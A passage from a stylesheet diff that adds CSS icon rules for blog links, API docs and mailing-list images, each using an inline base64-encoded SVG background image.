I1LTMuMTQzNnoiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjM0NHB4Ii8+CgkJPGc+CgkJCTxwYXRoIGQ9Im0tNDkuOTQ0IDg3Ljg3Ni0wLjA1ODUtMC4yNzQ3OS0wLjAxNzUtMC4yMzk3MS0wLjQxNTExLTAuMjIyMTUtMC4xMDUyMy0wLjEwNTI1IDAuMjQ1NTUtMC4xMDUyMyAwLjMwOTg3IDAuMjI4IDAuMjIyMTcgMC4xNDAzMy0wLjAyOTIgMC4zODAwMnoiIGZpbGw9IiNiM2IzYjMiLz4KCQkJPHBhdGggZD0ibS01MC4zMTEgODguMTQ4YzAuMDE5MS0wLjAxMTcgMC4wMzk1LTAuMDI0NyAwLjA0OTEtMC4wNDU5IDAuMDE3Ni0wLjAxNDQgMC4wMzUzLTAuMDEzOSAwLjA1MzEtNmUtMyA5ZS0zIDAuMDE0Ny0wLjAxMzcgMC4wMzE4LTAuMDI2MyAwLjAyMTMtMC4wMjg4IDcuNGUtNCAtMC4wNDY3IDAuMDMxOS0wLjA3NTkgMC4wMzA2eiIgZmlsbD0iI2U2ZTZlNiIvPgoJCQk8cGF0aCBkPSJtLTQ4LjgzMSA4NS45MTQtMC4xNTcxIDAuMDkxLTAuMDUzNyAwLjE0ODgyLTAuMzYzOCAwLjEyODE3LTAuNDQ2NDkgMC42OTAzOC04ZS0zIDAuMjY4NzMgMC4wOTUxIDAuMTQ4ODMtMC4wNTM3LTAuMjM5NzkgOGUtMyAtMC4xMjQwMSAwLjA2Mi0wLjA0OTYtMC4wMTY1LTAuMDYyIDAuMjAyNTctMC4zMjY2IDAuMTk4NDQtMC4yMzE1MSAwLjAxNjUgNGUtMyAwLjA0OTYgMC4wMjA2IDAuMDUzNy0wLjExOTkxIDAuMjE5MTEtMC4wODY4IDAuMDg2OC0wLjExMTYzIDAuMDkwOS0wLjEwMzM0eiIgZmlsbD0iI2NjYyIvPgoJCQk8cGF0aCBkPSJtLTQ5LjQxIDg3LjQ2OC0wLjA0NTUtMC4xODYwMyA0ZS0zIC0wLjExNTc1IDAuMDM3Mi0wLjEwMzM1IDAuMTE5ODktMC4xNjk0OSAwLjExOTg5LTAuMDk1MSAwLjE0NDctMC4wNzAzIDAuMTk4NDMtMC4wNjIgMC4xODE5LTAuMDQ1NS0wLjAxNjUtMC4xMTk4OCAwLjA2Mi0wLjE2OTQ5LTAuMTYxMjMgMC4xNzc3NSAwLjA1MzcgMC4xMTU3NS0wLjMyMjQ2IDAuMDQxNC0wLjI2ODcyIDAuMTY5NDktMC4yMTkxIDAuMjY0NTggOGUtMyAwLjIyNzM4eiIgZmlsbD0iI2NjYyIvPgoJCQk8cGF0aCBkPSJtLTUwLjYyOSA4OC4xMDkgMC4xMjgxNiAwLjEyNDA0IDAuMTQwNTYgMC4wMTY0IDAuMTc3NzYtMC4wMjA2IDAuMTMyMy0wLjA4MjcgMC4wMzMxLTAuMTExNjEgNGUtMyAtMC4xMTE2MiAwLjAzNzIgMC4xMTE2MiAwLjAxMjQgMC4xMjgxNC00ZS0zIDAuMDcwMyAwLjA3MDMgNGUtMyAwLjA2NjEgMC4xMzIyOSA0ZS0zIDAuMTE5ODgtMC4xMzY0My0wLjE0ODgzLTAuMzQ3MjYgMC4wMjA2LTAuMjA2NzEtMC4wNTc5eiIgZmlsbD0iIzk5OSIvPgoJCTwvZz4KCTwvZz4KPC9zdmc+\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:1em 0.7em 1em 0.7em;\n+ vertical-align:middle;\n+\tmargin-right: 0.3em;\n+ background-repeat: no-repeat;\n+}\n+\n+a.blogintlink:before {\n+\tdisplay:inline-block;\n+\tcontent:\u0022 \u0022;\n+\tbackground-image: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA4LjQxMTI4NjQgNy44MDg0ODIyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTkxLjA0NCAtMjM0Ljg5KSI+CgkJPHBhdGggZD0ibTk2LjM3OSAyMzUuMThjLTEuNTA3My0wLjQ3MjMtMi41NjIyLTAuMzc5NzYtMy42MDI5IDAuMzkxMS0yLjI1NTggMS42NjUtMi4wNDU4IDQuMDQwNS0wLjc3MTk2IDUuNTkzOSAwLjM1NDExIDAuNjM4NzQgMS41ODc1IDEuMzQ5OCAyLjMyOTMgMS40ODM0IDIuNTc3NSAwLjI1NTU5IDQuODgyOC0xLjE4MDIgNC41NjMxLTMuNjg2My0wLjU0MzkyIDAuMjk3MzgtMS4wNzg0IDAuNTk0MzctMS44MiAwLjkzMjk0IDAuMTA0OTQgMC40OTAwNCAwLjIyMTggMS4xNjE4IDAuMjIxOCAxLjE2MThzLTIuNDA3Ni0wLjYxMjYxLTMuMjQ2My0wLjc5NzY0YzAuNDUzNjMtMC43MzkwMyAwLjkyMzEyLTEuNDIyNSAxLjMwMS0xLjkzNTYtMC4wNTk4LTAuMDU2MS0wLjUwNzY3IDAuNTE0NzUtMC41NzkzOSAwLjQ1NTkxLTAuMzQ0NzktMC4yODI4Ni0wLjY3MDYtMC40OTcwMy0xLjA2My0wLjg5ODY4IDEuMDQwMS0xLjU1NyAxLjQwNDctMS45OTU3IDIuNjg0OS0yLjY4NDR6IiBmaWxsPSIjZDRhYTAwIi8+CgkJPHBhdGggZD0ibTk0LjgyOSAyMzguNS0wLjcyNzYtMC41OTUzMmMwLjY3ODQtMS4wOTU0IDEuNzA0Ni0yLjMwMyAyLjg3NTctMi41NjkgMi41MDg4LTAuMzk4NzIgMy4zMTUzIDIuNDc3MiAxLjQ3NjYgMy41MDQxLTAuODQxMTIgMC40NzI5OS0xLjUxMDQgMC42MzgxNi0xLjg1OTYgMC45NzA5OSAwLjEyMTY2IDAuNDU4MDYgMC4wODk1IDAuMzI2MDYgMC4yMzI5MSAwLjgyNjE0LTAuNzMyMi0wLjE4MzA1LTEuNDY0NC0wLjM2NjExLTIuMTk2Ni0wLjU0OTE2bDEuMTI0NS0xLjkwMTdjMC4xNzQ3NiAwLjI2NTEyIDAuMjY4MyAwLjUwMzAxIDAuNDY5MjMgMC44NDc0OSAwLjM2MTczLTAuMTcyMjUgMS4yMTk2LTAuNjI1NjIgMS41ODEzLTAuNzk3ODggMC44NDg5OC0wLjQ1OTY1IDEuMTQwNS0xLjcwNzYtMC4wMTY1LTIuMDQyMi0xLjQ5NjgtMC4zMTM0NS0yLjI5ODQgMS4xNTI0LTIuOTU5OSAyLjMwNjZ6Ii8+CgkJPHBhdGggZD0ibTk1LjQ4MyAyMzcuOTFjMC4wODE5IDAuMTQyNjYgMC4yNzk3Mi0wLjE2NTAyIDAuNDM2NjktMC4xMDQzOSAwLjIwNTI3IDAuMDc5MyAwLjM3ODExIDAuNTE0NDEgMC41MDg3OCAwLjYzODUxIDAuNDg3NTQtMC4yMjg3NCAwLjk5MzEzLTAuNDM3NTQgMS40NTAzLTAuNzE4ODQgMC4yNDgwNi0wLjI0NjM5IDAuNDcyODktMC43NTQyNSAwLjE0MjQtMS4wMTg5LTAuMjI4NC0wLjI3MjY2LTAuNzQyOTYtMC4zMDcyMi0xLjA0NjEtMC4xNzI3MS0wLjQ5MTk0IDAuMTMxOC0xLjE2NzUgMC45OTE3NS0xLjQ5MjEgMS4zNzY0eiIgZmlsbD0iI2Q0YWEwMCIvPgoJCTxwYXRoIGQ9Im05MS42NTMgMjQwLjYyYzEuNzY3NyAxLjQzNDEgNC44MDA4IDEuNDk1NiA2LjM3NDggMC4wNjAyIDAuNDQ1MDItMC41NTg5OCAwLjY3MjYxLTAuODI1ODggMC45MTUwNS0xLjQ2NTEgMC4wODk1IDEuMjAzOS0wLjY1MTQ0IDIuNDI4LTEuNzA5IDIuOTU1OS0xLjg4ODQgMC43OTk0Ni0zLjQ1OTQgMC43Nzg0NC00Ljk0MjktMC43MjQ5NS0wLjI1MTE1LTAuMjQxODgtMC40ODI4Mi0wLjUxMTM0LTAuNjM3OTQtMC44MjU5OXoiIGZpbGw9IiMxODFlMjQiIGZpbGwtb3BhY2l0eT0iLjA5NTA0MSIvPgoJCTxwYXRoIGQ9Im05MS4wNDUgMjM4LjczYy0wLjAyODctMi41Mzk3IDIuNjQ3Mi00LjMxNjggNC42MTAzLTMuNzI0OCAwLjQwNjM3IDAuMDkyOCAwLjEyOTU3LTAuMDQ4IDAuNjU3OTIgMC4yMDkwOS0zLjA5NDcgMC4yMjMyNi00LjA3NTMgMS45MTgxLTUuMjY4MiAzLjUxNTd6IiBmaWxsPSIjZmZmIiBmaWxsLW9wYWNpdHk9Ii4yNzI3MyIvPgoJPC9nPgo8L3N2Zz4\u003d\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:0.7em 0.7em 0.7em 0.7em;\n+ vertical-align:middle;\n+\tmargin-right: 0.3em;\n+ background-repeat: no-repeat;\n+}\n+img.apidocs {\n+ display: inline-block;\n+ float:left;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMC4wNCA4LjY1MzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6Y2M9Imh0dHA6Ly9jcmVhdGl2ZWNvbW1vbnMub3JnL25zIyIgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxyYWRpYWxHcmFkaWVudCBpZD0iYiIgY3g9IjI3My42NyIgY3k9IjMyMi4zMiIgcj0iLjU2NTE1IiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KDEgMCAwIDEuMDIwOSAtMTg4LjM5IC0yNjQuMDIpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+CjxzdG9wIHN0b3AtY29sb3I9IiNmZmYiIG9mZnNldD0iMCIvPgo8c3RvcCBzdG9wLWNvbG9yPSIjZmZmIiBzdG9wLW9wYWNpdHk9IjAiIG9mZnNldD0iMSIvPgo8L3JhZGlhbEdyYWRpZW50Pgo8bGluZWFyR3JhZGllbnQgaWQ9ImMiIHgxPSIyNzIuNDciIHgyPSIyNjkuODMiIHkxPSIzMTkuNzciIHkyPSIzMjMuMzYiIGdyYWRpZW50VHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTE4OC4wOCAtMjU3LjA0KSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPgo8c3RvcCBzdG9wLWNvbG9yPSIjNmM2NzUzIiBvZmZzZXQ9IjAiLz4KPHN0b3Agc3RvcC1jb2xvcj0iI2M4YzRiNyIgb2Zmc2V0PSIxIi8+CjwvbGluZWFyR3JhZGllbnQ+CjxyYWRpYWxHcmFkaWVudCBpZD0iYSIgY3g9IjI3My45NiIgY3k9IjMyMS42OCIgcj0iMS43MTAyIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KC45MzE2MyAtLjIxNDg4IC4yMjQ3NSAuOTc0NDIgLTUzLjUzMiA2Ny4xMykiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KPHN0b3Agc3RvcC1jb2xvcj0iI2ZmZjZkNSIgb2Zmc2V0PSIwIi8+CjxzdG9wIHN0b3AtY29sb3I9IiNmZmYiIHN0b3Atb3BhY2l0eT0iMCIgb2Zmc2V0PSIxIi8+CjwvcmFkaWFsR3JhZGllbnQ+CjxsaW5lYXJHcmFkaWVudCBpZD0iZCIgeDE9IjI3My44IiB4Mj0iMjcyLjk5IiB5MT0iMzI0LjkyIiB5Mj0iMzE5LjQ0IiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKC0xODguMDggLTI1Ny4wNCkiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KPHN0b3Agc3RvcC1jb2xvcj0iI2M4YzRiNyIgb2Zmc2V0PSIwIi8+CjxzdG9wIHN0b3AtY29sb3I9IiM0ODQ1MzciIG9mZnNldD0iMSIvPgo8L2xpbmVhckdyYWRpZW50Pgo8ZmlsdGVyIGlkPSJlIiB4PSItLjA1NjQ5NiIgeT0iLS4wNjY3NTgiIHdpZHRoPSIxLjExMyIgaGVpZ2h0PSIxLjEzMzUiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CjxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuMjEyMzQwOTIiLz4KPC9maWx0ZXI+CjwvZGVmcz4KPG1ldGFkYXRhPgo8cmRmOlJERj4KPGNjOldvcmsgcmRmOmFib3V0PSIiPgo8ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD4KPGRjOnR5cGUgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIvPgo8ZGM6dGl0bGUvPgo8L2NjOldvcms+CjwvcmRmOlJERj4KPC9tZXRhZGF0YT4KPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTgwLjEwOSAtNjIpIj4KPHBhdGggZD0ibTg0LjAwOSA2Mi44Ni0zLjE0MDQgMy45MjU1LTAuMjUwNTkgMC40MDA4OSAwLjA1MDEgMC42NTE0OSAwLjI4Mzk3IDAuNjE4MDYgMC40MDA5MyAwLjE1MDM0IDAuMTgzNzItMC4xMzM2NCAwLjE4Mzc2IDAuMjE3MTcgNC42NDM4IDEuNDUzMyAzLjI3NDEtNS42Nzk1LTAuMjAwNDUtMC4wODM1IDAuMDMzNC0wLjQ2Nzd2LTAuMjMzODdsMC4xNjcwNi0wLjA1MDEtNC43NDQtMC45Njg4NS0wLjMzNDEgMC4xODM3NS0wLjE2NzA1LTAuMzM0MDctMC4xODM3MyAwLjA4MzV6IiBmaWx0ZXI9InVybCgjZSkiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMTE5Ii8+CjxwYXRoIGQ9Im04My45MzggNjIuNDY0LTMuMTQwNCAzLjkyNTUtMC4yNTA1OSAwLjQwMDg5IDAuMDUwMSAwLjY1MTQ5IDAuMjgzOTcgMC42MTgwNiAwLjQwMDkzIDAuMTUwMzQgMC4xODM3Mi0wLjEzMzY0IDAuMTgzNzYgMC4yMTcxNyA0LjY0MzggMS40NTMzIDMuMjc0MS01LjY3OTUtMC4yMDA0NS0wLjA4MzUgMC4wMzM0LTAuNDY3N3YtMC4yMzM4N2wwLjE2NzA2LTAuMDUwMS00Ljc0NC0wLjk2ODg1LTAuMzM0MSAwLjE4Mzc1LTAuMTY3MDUtMC4zMzQwNy0wLjE4MzczIDAuMDgzNXoiIGZpbGw9IiM4MDgwODAiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMTE5Ii8+CjxwYXRoIGQ9Im04OS40MzYgNjMuMjA5LTMuMjgzIDUuMzcxLTQuMzg2My0xLjMyMTctMC4xMzM2NCAwLjA4MzUtMC4xMTY5NC0wLjMwMDY3LTAuNDI1OTQtMC4yMDg4LTAuMzI1NzYtMC4wNDE4LTAuMTY3MDQgMC4yMDA0NSAwLjA1MDEtMC4zNTA4MSAzLjU5MTQtNC40OTM1IDAuMTM1NjEtMC4wNzQ0IDAuMjQ4NTkgMC4wMjQzIDAuMTkwNjggMC4wNDUxIDAuMjM3OSAwLjIwNjI4IDAuMzIzMTItMC4wODQzeiIgZmlsbD0idXJsKCNkKSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4xMTkiLz4KPHBhdGggZD0ibTg5LjQgNjQuMDE4LTMuMTU3MSA1LjQyODktNS4xNjE2LTEuNjAzNi0wLjI2MTg4LTAuMTczMjYtMC4xNTU3My0wLjI3Nzc1IDAuMDE2Ny0wLjMxNzM5IDAuMTY3MDYtMC4xODM3MyAwLjU1MTIzIDAuMTAwMjMgMC4xODM3NSAwLjMzNDA5IDQuNjEwNCAxLjM1MyAzLjE5MDUtNS4yOTUzeiIgZmlsbD0iI2IzYjNiMyIvPgo8cGF0aCB0cmFuc2Zvcm09Im1hdHJpeCgxLjIxMDYgMCAwIDEuMjMxNCAtMjQ1LjYgLTMzMS43MSkiIGQ9Im0yNzQuNTQgMzIzLjUzLTAuNDM2OTYtMC43NTQ4OC0wLjA4MzcgMC44NjgyLTAuMTgyMy0wLjg1Mjk2LTAuMzQ3ODcgMC43OTk4NSAwLjA5MDItMC44Njc1NS0wLjU3ODAyIDAuNjUzMjEgMC4zNTM4OC0wLjc5NzIyLTAuNzUxNTggMC40NDI2MyAwLjU4MjkxLTAuNjQ4ODUtMC44NTE1NyAwLjE4ODcyIDAuNzU0ODktMC40MzY5Ni0wLjg2ODIxLTAuMDgzNyAwLjg1Mjk3LTAuMTgyMy0wLjc5OTg2LTAuMzQ3ODcgMC44Njc1NSAwLjA5MDItMC42NTMyMS0wLjU3ODAxIDAuNzk3MjIgMC4zNTM4OC0wLjQ0MjYzLTAuNzUxNTggMC42NDg4NSAwLjU4MjkxLTAuMTg4NzEtMC44NTE1NyAwLjQzNjk1IDAuNzU0ODggMC4wODM3LTAuODY4MiAwLjE4MjMgMC44NTI5NiAwLjM0Nzg3LTAuNzk5ODUtMC4wOTAyIDAuODY3NTUgMC41NzgwMS0wLjY1MzIxLTAuMzUzODggMC43OTcyMiAwLjc1MTU4LTAuNDQyNjMtMC41ODI5MSAwLjY0ODg1IDAuODUxNTctMC4xODg3Mi0wLjc1NDg4IDAuNDM2OTYgMC44NjgyIDAuMDgzNy0wLjg1Mjk2IDAuMTgyMyAwLjc5OTg1IDAuMzQ3ODctMC44Njc1NS0wLjA5MDIgMC42NTMyMSAwLjU3ODAxLTAuNzk3MjEtMC4zNTM4OCAwLjQ0MjYyIDAuNzUxNTgtMC42NDg4NC0wLjU4MjkxeiIgZmlsbD0idXJsKCNhKSIvPgo8cGF0aCBkPSJtODQuNzgzIDYyLjE5NC0zLjY1MTMgNC42MTMzIDAuMjQ4NDIgMC4wODIyIDAuMjAyNTkgMC4xNjgzMyAzLjU0MTMtNC42OTM5LTAuMjA0NDUtMC4wNDk0eiIgZmlsbD0idXJsKCNjKSIvPgo8cGF0aCBkPSJtODQuNDI0IDY2Ljk2Mi0zZS0zIDAuMTE4MTEgMC4xMDkyNSAwLjA5MTUgMC4xNjgzMyAwLjA2MiAwLjExODExLTAuMDc5N3oiIGZpbGw9IiM0ZDRkNGQiLz4KPHBhdGggZD0ibTg0LjczMyA2NS44MjktMC4yMTE3NiAwLjQ3ODI4IDAuMDM3OCAwLjA5NTUtMC4xMTM4MSAwLjAyNDcgMC4wMzcyIDAuMTEyNzMtMC4xMDY2NSAwLjA0MjUgMC4wNDk2IDAuMTE2MjQtMC4xMTk2MSAwLjA0ODggMC4wOTkxIDAuMTg1MDhzMC4wMTg4IDAuMDY3OCAwLjE5NDAxIDAuMTYyMTRjMC4xNzUyNSAwLjA5NDMgMC4yNTE0OSAwLjA2MzkgMC4yNTE0OSAwLjA2MzlsMC4yMTYwNy0wLjA4MTctMWUtMyAtMC4xMzMwNSAwLjExMzI3LTAuMDE3Ny0wLjAzNi0wLjEyOTAzIDAuMTA2NzQtMC4wMzI0LTAuMDMzMi0wLjA5MzMgMC4yOTUzOC0wLjQ5ODQyeiIgZmlsbD0iI2NjYyIvPgo8ZWxsaXBzZSB0cmFuc2Zvcm09InJvdGF0ZSgzNy43NTkpIiBjeD0iMTA3LjYiIGN5PSItLjYwNjUxIiByeD0iLjgwMTEzIiByeT0iLjg3MzA3IiBmaWxsPSIjZWNlY2VjIi8+CjxwYXRoIGQ9Im04NC41MjIgNjYuMzA4IDAuMjQyMiAwLjIwODc4IDAuMjEyOTkgMC4xMzc4MyAwLjI2MzEgMC4xMDQ0LTAuMTAwMjIgMC4wNDE4LTAuMjIxMzUtMC4wNzUyLTAuMjAwNDUtMC4xMzc3OS0wLjE0NjE2LTAuMTQ2MTgtMC4wMTY3LTAuMDQxN3oiIGZpbGw9IiNiM2IzYjMiLz4KPHBhdGggZD0ibTg0LjQ0MyA2Ni40ODggMC4yNDIyIDAuMjA4NzggMC4yMTI5OSAwLjEzNzgzIDAuMjYzMSAwLjEwNDQtMC4xMDAyMiAwLjA0MTgtMC4yMjEzNS0wLjA3NTItMC4yMDA0NS0wLjEzNzc5LTAuMTQ2MTYtMC4xNDYxOC0wLjAxNjctMC4wNDE3eiIgZmlsbD0iI2IzYjNiMyIvPgo8cGF0aCBkPSJtODQuMzYzIDY2LjYzIDAuMjM3OTcgMC4yMDUxMyAwLjIwOTI4IDAuMTM1NDMgMC4yNTg1MSAwLjEwMjU4LTAuMDk4NSAwLjA0MTEtMC4yMTc0OS0wLjA3MzktMC4xOTY5Ni0wLjEzNTM5LTAuMTQzNjEtMC4xNDM2My0wLjAxNjQtMC4wNDF6IiBmaWxsPSIjYjNiM2IzIi8+CjxwYXRoIGQ9Im04NS4zODYgNjYuMDg3IDAuMTkyMS0wLjcyMjQ1IiBmaWxsPSIjZTZlNmU2IiBzdHJva2U9IiNlNmU2ZTYiIHN0cm9rZS13aWR0aD0iLjA4Ii8+CjxwYXRoIGQ9Im04NC45MDIgNjUuMTY4YzAuMDQ3Ny0wLjAxMDggMC4wOTAyLTAuMDM1OSAwLjEzNjE5LTAuMDUxMiAwLjA0OS05ZS0zIDAuMDk5My0wLjAzODMgMC4xNDkyNy0wLjAxNzIgMC4wNDExIDAuMDEwNiAwLjAzMjMgMC4wOTAzLTdlLTMgMC4xMDY2My0wLjAyMjUgMC4wMjA5LTAuMDc2MSAwLjA0MS0wLjA5MzggOWUtMyAtMmUtMyAtMC4wNDgzIDAuMDYtMC4wNDM3IDAuMDg5Ny0wLjA2MzQgMC4wMzY0LTRlLTMgMC4wNzE4LTAuMDE0MyAwLjEwODIzLTAuMDE0OSAwLjAzMzYgNy4xZS00IDAuMDY3My0xZS0zIDAuMTAwNyAxZS0zIDAuMDM1NSAwLjAyMTktNWUtMyAwLjA3NzQtMC4wMjM1IDAuMTAwOTYtMC4wNDA3IDAuMDIxNi0wLjA2NDMgMC4wOTIzLTAuMTIwMzEgMC4wNjg0LTAuMDMzMy0wLjAzODMtOC44ZS00IC0wLjA5MDIgMC4wNDA3LTAuMTA2OTYgMC4wMjYyLTAuMDEyNSAwLjA1NjEtNWUtMyAwLjA4NDItN2UtMyAwLjAyNzQgMC4wMjg5IDAuMDY3IDAuMDQ3MyAwLjA3MzQgMC4wOTE1IDAuMDIwOSAwLjAyNDkgMC4wMzUyIDAuMDkzOC0wLjAxMzYgMC4wOTEtMC4wMTE3LTAuMDM2MSAwLjAzNTEtMC4wNjA1IDAuMDQ3Ny0wLjA5MjggMC4wMjA2LTAuMDIzNiAwLjA3MDQtMC4wNjk3IDAuMDgzOC0wLjAxNTcgMC4wMTE1IDAuMDM5MSAwLjAxNTUgMC4wOTA4LTAuMDExMyAwLjEyNDg3LTllLTMgMC4wMjU0LTAuMDU5NiAwLjA0MzUtMC4wNTAzIDUuOWUtNCAwLjAyNTUtMC4wMjM4IDAuMDQ5Mi0wLjA1ODkgMC4wODIxLTAuMDc2MyAwLjAzNjYgMC4wMjM5IDAuMDIyMyAwLjA3MTcgMC4wNDA4IDAuMTA2MTkgMC4wMTEyIDAuMDI3OCAwLjAyOTEgMC4wOTgyLTAuMDIwNiAwLjA4ODMtOGUtMyAtMC4wNDA5IDAuMDE2Ni0wLjA4NDUgMC4wNTM2LTAuMTAyMDMgMC4wMzM0LTAuMDE3NCAwLjAzNjYgMC4wMjEgMC4wNjE1IDAuMDMyIDAuMDE1OCAwLjAyODkgNGUtMyAwLjA2NDYgOGUtMyAwLjA5Njd2MC4wMzg3Yy05ZS0zIC0wLjA1MjQgMC4wMjM3LTAuMTAxMTcgMC4wNjg1LTAuMTI1NTggNmUtMyAtMmUtMyAwLjAxMzgtNGUtMyAwLjAxNzcgMmUtMyIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjZmZmIiBzdHJva2Utd2lkdGg9Ii4wMiIvPgo8cGF0aCBkPSJtODQuODEgNjUuNzY2IDAuNTA5NDgtMC41NzYyOSIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjZjJmMmYyIiBzdHJva2Utd2lkdGg9Ii4wOCIvPgo8ZWxsaXBzZSBjeD0iODUuMjc2IiBjeT0iNjUuMDQzIiByeD0iLjU1NTE1IiByeT0iLjU2Njk2IiBmaWxsPSJ1cmwoI2IpIi8+CjwvZz4KPC9zdmc+Cg\u003d\u003d\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:0.7em 0.8em 0.7em 0.8em;\n+ vertical-align:middle;\n+\tmargin-right: 0.3em;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.mailinglist {\n+ display: inline-block;\n+ float:left;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMC40MDQgNi4xMjc5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI+CjxkZWZzPgo8cmFkaWFsR3JhZGllbnQgaWQ9ImIiIGN4PSIyNzMuNjciIGN5PSIzMjIuMzIiIHI9Ii41NjUxNSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgxIDAgMCAxLjAyMDkgLTE4OC4zOSAtMjY0LjAyKSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPgo8c3RvcCBzdG9wLWNvbG9yPSIjZmZmIiBvZmZzZXQ9IjAiLz4KPHN0b3Agc3RvcC1jb2xvcj0iI2ZmZiIgc3RvcC1vcGFjaXR5PSIwIiBvZmZzZXQ9IjEiLz4KPC9yYWRpYWxHcmFkaWVudD4KPGxpbmVhckdyYWRpZW50IGlkPSJkIiB4MT0iMjcyLjQ3IiB4Mj0iMjY5LjgzIiB5MT0iMzE5Ljc3IiB5Mj0iMzIzLjM2IiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKC0xODguMDggLTI1Ny4wNCkiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KPHN0b3Agc3RvcC1jb2xvcj0iIzZjNjc1MyIgb2Zmc2V0PSIwIi8+CjxzdG9wIHN0b3AtY29sb3I9IiNjOGM0YjciIG9mZnNldD0iMSIvPgo8L2xpbmVhckdyYWRpZW50Pgo8cmFkaWFsR3JhZGllbnQgaWQ9ImEiIGN4PSIyNzMuOTYiIGN5PSIzMjEuNjgiIHI9IjEuNzEwMiIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCguOTMxNjMgLS4yMTQ4OCAuMjI0NzUgLjk3NDQyIC01My41MzIgNjcuMTMpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+CjxzdG9wIHN0b3AtY29sb3I9IiNmZmY2ZDUiIG9mZnNldD0iMCIvPgo8c3RvcCBzdG9wLWNvbG9yPSIjZmZmIiBzdG9wLW9wYWNpdHk9IjAiIG9mZnNldD0iMSIvPgo8L3JhZGlhbEdyYWRpZW50Pgo8bGluZWFyR3JhZGllbnQgaWQ9ImUiIHgxPSIyNzMuOCIgeDI9IjI3Mi45OSIgeTE9IjMyNC45MiIgeTI9IjMxOS40NCIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSgtMTg4LjA4IC0yNTcuMDQpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+CjxzdG9wIHN0b3AtY29sb3I9IiNjOGM0YjciIG9mZnNldD0iMCIvPgo8c3RvcCBzdG9wLWNvbG9yPSIjNDg0NTM3IiBvZmZzZXQ9IjEiLz4KPC9saW5lYXJHcmFkaWVudD4KPGZpbHRlciBpZD0iZyIgeD0iLS4wNTY0OTYiIHk9Ii0uMDY2NzU4IiB3aWR0aD0iMS4xMTMiIGhlaWdodD0iMS4xMzM1IiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgo8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjIxMjM0MDkyIi8+CjwvZmlsdGVyPgo8bGluZWFyR3JhZGllbnQgaWQ9ImMiIHgxPSIyODIuMyIgeDI9IjI4OC40IiB5MT0iMzI0LjY5IiB5Mj0iMzIwLjU4IiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKC0xNzguMzQgLTIwNC4xNikiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KPHN0b3Agc3RvcC1jb2xvcj